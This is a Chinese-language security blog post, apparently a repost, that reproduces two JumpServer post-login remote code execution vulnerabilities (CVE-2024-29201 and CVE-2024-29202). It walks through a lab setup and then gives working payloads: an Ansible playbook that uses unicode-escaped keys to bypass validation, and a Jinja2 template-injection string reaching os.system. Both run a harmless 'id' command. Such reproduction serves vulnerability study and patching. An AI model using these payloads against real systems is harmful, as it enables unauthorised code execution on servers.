专栏名称: 合天网安实验室
为广大信息安全爱好者提供有价值的文章推送服务!
目录
相关文章推荐
51HR派  ·  奔驰裁员N+9+2!为何国内企业不卷裁员补偿? ·  23 小时前  
沉默王二  ·  太刺激了,腾讯今年新招7000人! ·  昨天  
51HR派  ·  加拿大给美式咖啡赐姓“加” ·  昨天  
传媒招聘那些事儿  ·  腾讯:手游发行渠道运营 ·  2 天前  
51好读  ›  专栏  ›  合天网安实验室

CVE-2024-29201&29202:JumpServer后台RCE漏洞

合天网安实验室  · 公众号  ·  · 2024-04-03 17:30

正文

0x01 简介

JumpServer 是广受欢迎的开源堡垒机,是符合 4A 规范的专业运维安全审计系统。

0x02 漏洞概述

漏洞编号:CVE-2024-29201&CVE-2024-29202

CVE-2024-29201 远程代码执行漏洞,该漏洞可绕过 JumpServer 的 Ansible 中的输入验证机制,在 Celery 容器中执行任意代码

CVE-2024-29202 Jinin2 模板注入漏洞,该漏洞是有 JumpServer 的 Ansible 中存在 Jinja2 模板注入,在 Celery 容器中执行任意代码。

值得注意的是: 两个漏洞利用的条件都需要账号。

0x03 影响版本

v3.0.0 <= JumpServer <= v3.10.6

0x04 环境搭建

首先下载官方提供的脚本,下载后编辑 quick_start.sh ,将脚本中的 VERSION 修改为存在漏洞版本,如: V3.10.6 。如下图所示:

等待服务启动,启动完成后访问 http://ip/

JumpServer 默认账号密码为 admin/admin

接着进入后台添加资产,具体步骤如下图所示:

添加资产后需要测试是否添加成功,点击资产后面的 更多-测试 进行测试。

资产添加完成后添加用户,如下图所示:

最后为用户分配一个资产,如下图所示:

至此环境搭建完成。

0x05 漏洞复现

CVE-2024-29201

登陆创建的普通用户账号,进入 作业中心-模板管理 添加一个 Playbook

点击创建的 Playbook 名称,切换到 工作空间 ,输入以下内容:

[{     "name": "RCE playbook",     "hosts": "all",     "tasks": [       {         "name": "this runs in Celery container",         "shell": "id > /tmp/pwnd",         "\u0064elegate_to": "localhost"} ],     "vars": {     "ansible_\u0063onnection": "local"     }}]

点击保存。保存完成之后切换到 作业管理 页面,创建一个新的 Playbook 作业

playbook 作业详情如下:

点击保存并运行作业

运行结果如下:

进入 Celery 容器,查看 tmp 目录下是否存在 pwnd 文件


CVE-2024-29202

与 CVE-2024-29201类似,进入 作业中心-模板管理 添加一个 Playbook ,在 工作空间 输入的内容为:

- name: |       {% for x in ().__class__.__base__.__subclasses__() %}         {% if "warning" in x.__name__ %}           {{             x()._module.__builtins__["__import__"]("os").system("id > /tmp/pwnd2")           }}         {%endif%}       {%endfor%}

添加完成后,同样进入作业管理页面创建并运行 Playbook 作业。运行结果如下:

进入 Celery 容器,查看 tmp 目录下是否存在 pwnd2







请到「今天看啥」查看全文